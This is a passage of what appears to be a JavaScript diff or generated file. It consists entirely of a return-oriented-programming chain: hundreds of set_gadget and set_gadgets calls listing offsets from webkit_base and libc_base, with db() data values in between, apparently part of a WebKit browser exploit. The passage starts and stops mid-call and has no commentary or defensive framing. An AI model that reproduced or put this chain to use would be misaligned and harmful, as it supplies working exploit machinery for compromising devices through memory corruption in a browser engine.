+webkit_base+13378624, +libc_base+713278, +ropchain+386528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+386496, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+386688, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+386704, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+386672, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+386824, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+386808, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967020, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+386888, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+489696, +ropchain+386928, +libc_base+489696, +ropchain+386944, +libc_base+489696, +ropchain+380256, +libc_base+713278, +ropchain+387000, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+387088, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+387104, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+387248, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+387216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+387232, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+387344, +webkit_base+4687784, +libc_base+768796 +]); +db([256, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([256, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+387488, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+387504, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+387472, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+387608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+387672, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+489696, +ropchain+374328, +libc_base+713278, +ropchain+387776, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+387760, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+387880, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+387896, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+388016, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+388000, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +write_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+389344, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+389416, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+389480, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([16, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+389760, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+389848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+389864, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+390024, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+390056, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+390008, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+390040, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+390152, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+390136, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+390256, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+400624, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+390400, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+390416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+390384, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+390544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+390576, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+390560, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+390688, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+390680, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+390704, +ropchain+391168, +libc_base+388400, +libc_base+713278, +ropchain+390776, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+390936, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+390968, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+390920, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+390952, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+391048, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+391064, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+391160, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+391144, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278 +]); +db([48, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+391288, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+391304, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+391464, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+391496, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+391448, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+391480, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+391592, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+391576, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+391688, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([40, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+391776, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+391792, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+391936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+391904, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+391920, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+392040, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+248952, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+392128, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+392256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+392272, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+392432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+392464, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+392416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+392448, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+392560, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+392544, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+392656, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([40, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+392744, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+392760, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+392904, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+392872, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+392888, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+393096, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+393184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+393200, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+393360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+393392, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+393344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+393376, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+393488, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+393472, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+393592, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+400624, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+393736, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+393752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+393720, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+393880, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+393912, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+393896, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+394024, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+394016, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+394040, +ropchain+394504, +libc_base+388400, +libc_base+713278, +ropchain+394112, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+394272, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+394304, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+394256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+394288, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+394384, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+394400, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+394496, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+394480, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+394624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+394640, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+394784, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+394752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+394768, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([104, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+394912, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+395096, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+395112, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+395248, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+395336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+395352, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+395512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+395544, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+395496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+395528, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+395640, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+395624, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+395736, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+395824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+395840, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+395984, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+395952, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+395968, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+396088, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+396176, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+396312, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+396280, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+396408, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+396392, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+396504, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+396592, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+396608, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+396752, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+396720, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+396736, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([104, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+396880, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+397064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+397080, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 